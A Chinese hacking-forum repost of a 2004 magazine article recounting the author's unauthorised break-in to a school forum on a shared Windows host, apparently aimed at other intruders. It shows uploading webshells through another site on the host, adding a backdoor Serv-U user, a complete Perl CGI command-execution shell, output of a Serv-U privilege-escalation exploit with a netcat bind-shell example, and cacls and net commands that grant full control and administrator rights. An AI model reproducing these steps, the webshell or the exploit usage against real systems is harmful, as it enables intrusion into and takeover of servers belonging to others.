找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2423|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ( e  S: N* L! Y$ n1 n6 k
本文作者:angel( g: c" q5 L5 k+ M8 `
文章性质:原创
# b: G* |9 K9 z6 X发布日期:2004-11-09
) D/ T6 ]1 o7 `! M  ^7 Q0 u  k注意:1 F8 Q- b9 V, W0 h8 T
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。. ~. e, p% \; s: L, Z
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
& `: |6 v' ]- ]$ A, |# s: U0 ]+ l* i1 O9 q- l$ p% X
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 # i0 x( r& B/ t5 o# B

! h7 k' w" v# b8 L  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ! b  V( X$ G3 _

; t- Z) L/ I8 H+ Q1 i0 t5 q  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
4 b2 e( z" P( [: X9 Y
2 |" @" M5 m! C2 n+ H* L9 N& G! M  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
: B# L1 n- C9 U3 x' C- t, `2 K6 T) l- ]3 s& c
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
/ _% \- ~% v3 u) a7 u" K) Y. e8 K* i, h5 g
  没有目的的跳转目录着……
3 p& O0 V' Z$ n8 r; D0 X
0 f: |6 e! [( v% h/ @" V& R* O  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
8 T3 T, l5 u! V% u4 u3 N' l9 \/ d; n& l7 k5 M; J  t6 U
  结束了吗?不,我试着 FTP 一下: 8 d. u5 T" X+ s  f1 T
* O4 F  i6 b, r4 y& h
Microsoft Windows 2000 [Version 5.00.2195]2 u" B) I" I. t1 z$ V7 r$ U
(C) 版权所有 1985-2000 Microsoft Corp. ; d% x+ G0 j3 U- n; J2 U: {7 d

+ Y! x9 S& F; I3 YC:\Documents and Settings\Administrator>ftp www.school.com4 w- ?9 q' ?' @0 G8 Z
Connected to www. school.com. / P( s6 ?0 [  B2 D3 s4 r
220 Welcome to FTP Server... , [9 j2 j4 E/ B2 U
User (www.bjtrq.com:(none)): & I" D  o) ?  c! w
331 User name okay, need password. 3 ^. o! e* s9 U2 L; O8 `1 D7 k
Password:
, k+ Z2 p$ O8 x2 G" i530 Not logged in. ) n, j3 E# [1 r1 [% W% \
Login failed.
7 m0 ?1 s+ B: }: @% Oftp> bye
5 C4 C6 z' ]; q6 Y  p/ \& ~221 Goodbye! ; I7 P. b9 |6 b; k0 F

! I% H- a, S: m( {& W7 m
- |# Z" E+ Y+ n  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… * F- r( t+ L& W5 _
' e+ m6 S+ x- [  {& x/ G: i
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
8 N/ C1 h9 q; d8 M4 t8 q* [* {  u$ s! d3 p
Application Data
' V; J) U8 i6 X1 t1 X9 o: q* yDocuments
0 h. A' [! U! E$ n8 @8 w; [: {& X% f2 JDRM* u" A% I. F3 k' c0 w
Favorites6 P% e& L7 `+ b7 Q! U+ X# t- K
Templates1 T! a' C4 o- P7 Y/ n) y
「开始」菜单% g- g; r/ d4 o& p7 N
桌面
) E, x7 A; t1 e+ v  y , n* x) K, c) t- {' J' j, l3 _
( A5 l' ]5 l- c$ L" e& c, W
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 9 x3 z; R' g+ I

0 t( `$ U( `6 \" S  W8 W! W& AActiveState ActivePerl 5.88 R1 f# i) I( B/ J0 k/ P" A
Administrative Tools
) D4 r9 x, J2 K; F- r/ E9 I9 ?Deerfield.com1 Q! k: }$ [* z; L
DTemp
, M# Z8 @, e- h' p1 X( J0 bIPSentry
( U: w7 _/ Y& r' v- J! r( }4 |8 CMBM 5- g& t- ?8 T7 |$ R% n- ^8 O
NetMeter
6 Z# x$ j1 H; tNetwork ICE
$ Y0 a, W- h7 }( OPersits Software AspEmail
' m2 Q3 m' X6 l7 \) Q+ mPersits Software AspJpeg
% q6 Z7 [% o1 hServ-U FTP Server
7 d5 G6 t  x" K3 T+ N3 RSymantec Client Security
5 L! q5 ?0 W. UWindows 优化大师
( P: ^- w" t, X( D9 g7 e& XWinRAR
! y" w7 l7 h* K4 X启动
3 P  t$ `3 I* T) P9 ?. c9 @管理工具) B% @1 ~. w' m7 n
附件
/ m+ W7 {3 |. J: x4 M . ~, w- |" k$ y$ S$ l

; c! h( O, k# q+ v) d1 P% f  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 / j& W: I2 C; G( _1 B6 ?& M4 D
* x" o; }/ q( R: E
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: & \, \, F! n" c: c% Q5 |

" S9 A( d$ i: M; e* f7 q' SUser281=angel|1|0
1 d$ j' n5 R% @/ M: H% ^: s
1 N; P5 I2 o4 Z
9 U- ~. K& H5 E  f: R6 @$ k  然后加上
; n- ?8 z+ c( Y3 e
' r0 L  R7 u5 \  m, m; _% Y6 v[USER=angel|1]
) ]' O- q2 M1 y. ~. q+ n$ J5 pPassword=ng98F85379EA68DBF97BAADCA99B69B805
$ a% ~( x; F( p7 MHomeDir=D:\websites
2 c% N8 L* e& k2 a7 LRelPaths=1; e( f3 B. s* u0 ~, N
TimeOut=600- E) R$ O6 k+ }$ N
Maintenance=System
; ^  G5 ~0 t* ^1 B% b0 hAccess1=D:\websites|RWAMELCDP
) T2 y/ S% `3 `. DSKEYValues=
6 E! ]. T* m5 s  s; I/ H
6 o* @! `1 o' Z. l8 v3 T8 j6 M6 [7 s5 r6 l* s$ X
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
- D) \0 W; F4 v8 h
# X3 S. [' B- U" i8 C! F" D: {  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 . y& S% \: `+ B0 o
  b3 B, F- Y0 D% U  f
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
2 v. B5 g; }% ]' p1 E# g! H
9 y$ f4 J- W+ h: T# ]  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
& K+ K) e+ l0 a- @2 y, K
: ?( n4 H# z6 [0 W5 r/ ?4 d#!/usr/bin/perl
# u2 [2 d7 e! x: V/ Cbinmode(STDOUT);
- G' q/ f% k+ J8 r& x6 n9 ~syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
- Z6 R$ x% x# G, I5 V$_ = $ENV{QUERY_STRING};. {* X# \  g, p- q
s/%20/ /ig;$ S, A, w. C( Q' J9 \; d- l: W
s/%2f/\//ig;( _1 a; E/ ~" A$ l" k1 p( F
$execthis = $_;
# ^8 M3 K5 P+ o& j$ Dsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);: ?$ M7 e' S; t  d
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";" z- k- M: E. [7 h2 r2 Q
system($execthis);
6 W, g; V6 |# U0 |4 }5 ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);$ H6 e. Y- s" R, W! L2 b
close(STDERR);
" a9 B; d0 s) X8 ~8 w. @close(STDOUT);# N0 z# _7 a9 E2 f
exit;; h% i2 M4 d+ L, I
; n) r! @) r% h2 B, b' ~
& b$ @0 g0 [* S: h+ j  z4 n: \
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ! Y3 \. L0 `  I7 o3 T. I- O% }
0 F% j% {/ Y8 g% F" F
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 p& Q" s: P& \# r5 c1 R- t* \1 J. v/ }
http://anyhost//cmd.pl?d:\user\bin\su.exe
7 R, \9 g0 ?) v5 U: l. I / w" b2 Z, c4 y5 `) s

5 L. X9 y/ _5 H: `" a' W" J  返回: # w8 V4 x: O" r: A' b4 ?

& {8 l' }* g2 L9 SServ-u >3.x Local Exploit by xiaolu
7 s. Y* l0 t6 H* @" ?* q  v2 g2 x! b8 y/ V. q2 g9 e& ^
USAGE: serv-u.exe "command"
2 r& Z5 T$ P- g" H+ \7 O; P2 u
7 N, t0 h7 `; S3 a* r$ dExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
, K( t$ h5 Z- z6 S7 b. r" ?: P
) p: n0 R4 g- _, }) O6 V# m( x7 ]( Q0 B4 J/ {! n3 E" b- I
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
# k) s% X$ Y( p) k+ _6 D, ^$ s# W0 ?8 A- W+ @/ g5 n* }
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
! Z: f' S3 \9 n+ f' P
9 u4 x% q, o3 D1 x) s$ G3 Thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 1 U6 P4 ?  I4 ?  U
; d" }# m$ Y0 N# V: `4 c# @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
$ }) w9 _* C  V) ?; A$ Z3 g8 C$ |5 d, X
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ; k( Y" g3 f: H
) R0 ^* c! P1 k4 q) m5 U9 w
  i  X0 W) S5 Z7 H( Y' [. E# [- c
  返回下面的信息,就表示成功了!!!
9 N- X3 P3 p1 V' W( e2 Z. e! {! T7 K* J
Serv-u >3.x Local Exploit by xiaolu
9 K# R' F8 ^; a0 Q) _0 l3 u, \) F1 [  ~
<220 Serv-U FTP Server v5.2 for WinSock ready... 8 E. t) N! Z. z& u" `

7 [8 u8 A4 S0 o. Y. U' g$ j>USER LocalAdministrator
, m# k  C# b7 l; C( A
) X# j, t7 a- c. ]0 H/ s4 J<331 User name okay, need password.
5 B5 |. g4 b  ?" x5 |
! L+ {1 s  N7 l9 W0 g******************************************************
: G$ B- ^) i# J; C% i2 e) k/ m( y4 ?2 B7 o. }1 w
>PASS #l@$ak#.lk;0@P 7 _. w/ J3 K3 j
  \- ^) Y+ p- v; e' }9 D3 Y$ q
<230 User logged in, proceed.
' d6 M+ z* _' ]) p2 e/ k6 C& s# b6 k! X0 N4 \4 |9 H
******************************************************
3 [2 r- a! ^$ Q) g/ {) P, c9 V( m
>SITE MAINTENANCE 8 s" j& x4 D1 j9 |3 s: N
! _, n8 Q$ X! l. ~6 @( P6 Y
******************************************************
2 T6 T3 R) [1 v1 q5 w$ j
4 L' U; ^" \0 c[+] Creating New Domain... - Y  C$ s5 U8 y+ B

& }( w' d% e# F<200-DomainID=2 ! ]9 R8 B2 v. a. r" G
* m& O/ U  P5 E7 A: V( c& Q
<220 Domain settings saved 0 t2 R# f3 w% i+ T

+ r' d. f( n: Q5 r******************************************************
& y6 u$ R6 K$ Z% d! c, C) Q( n+ }( R+ N  `; k9 N7 ^5 O
[+] Domain xl:2 Created 3 E0 f4 H8 A  u  }
: u) c6 s% P3 L/ Z! N& @
[+] Creating Evil User
! x4 n6 Y$ H3 Z7 a5 l+ o# x$ _0 ?
. T, E7 j9 z0 P9 S% ?/ F6 c: a<200-User=xl
# r5 _9 x. F. b% R5 s9 ?* q/ j: L7 }; |9 F% Z* N! T
200 User settings saved
+ f1 W3 z9 H/ e/ d9 n+ l' F4 H3 }6 {9 z/ R; C8 s6 k2 a6 Y+ M
****************************************************** ) j. Z+ H- X9 v& _  o4 M% z$ k6 Q

+ K  x0 g, O1 S; o* P2 R- `[+] Now Exploiting... $ m! k, }0 K9 ~% F, p( S+ K
4 w, I; ]% E7 c+ V9 g4 }
>USER xl + B. `( {( a( H! I5 s# i3 s
7 {8 Z1 z; K' Z! g
<331 User name okay, need password.
0 W! u  ?: S7 [' f/ t! m7 L: A; w) X* B5 l0 B  B/ H$ u* h
******************************************************
' u% y) q; \- _( J3 p0 z
6 K' _6 F2 o! t5 N1 d2 z>PASS 111111 4 i4 H7 R! b8 y# W7 {. F, r

. Y3 X3 L% Z  }; C" N7 P$ m8 e) H<230 User logged in, proceed. ; t& {/ f# u6 u/ S0 s

% g; s" V. o( M- t******************************************************
1 |( H% U8 U5 S% A6 ], A. I% ^; T2 W0 z% V5 B1 g
[+] Now Executing: cacls.exe c: /E /T /G everyone:F , |4 @( e) O8 y6 h) a

3 W' J9 Y: Q$ M% p, M<220 Domain deleted & @! R, N$ p& K# {

* }" D- N: S+ s****************************************************** % o2 \4 j# j1 `3 s- Y
9 _1 O3 r: t; P

7 N  J7 P$ X$ p3 r& e8 T3 ?  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: $ S# ?1 K$ F7 [4 |

( ]# \2 L0 O1 e- ^, Ahttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
) X. c: B( L- a# V7 `# P : D7 P/ W6 E5 G4 N

& ~/ _( I" g' P% D. g  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
* g5 K4 h! j. s0 T, Z* A" W/ Y5 u& |2 _- u& I( J$ Q
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。( j2 A6 e0 ~+ g7 _

& e# Z9 s+ u3 D- s) N  4 N% c  R, O4 y: X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表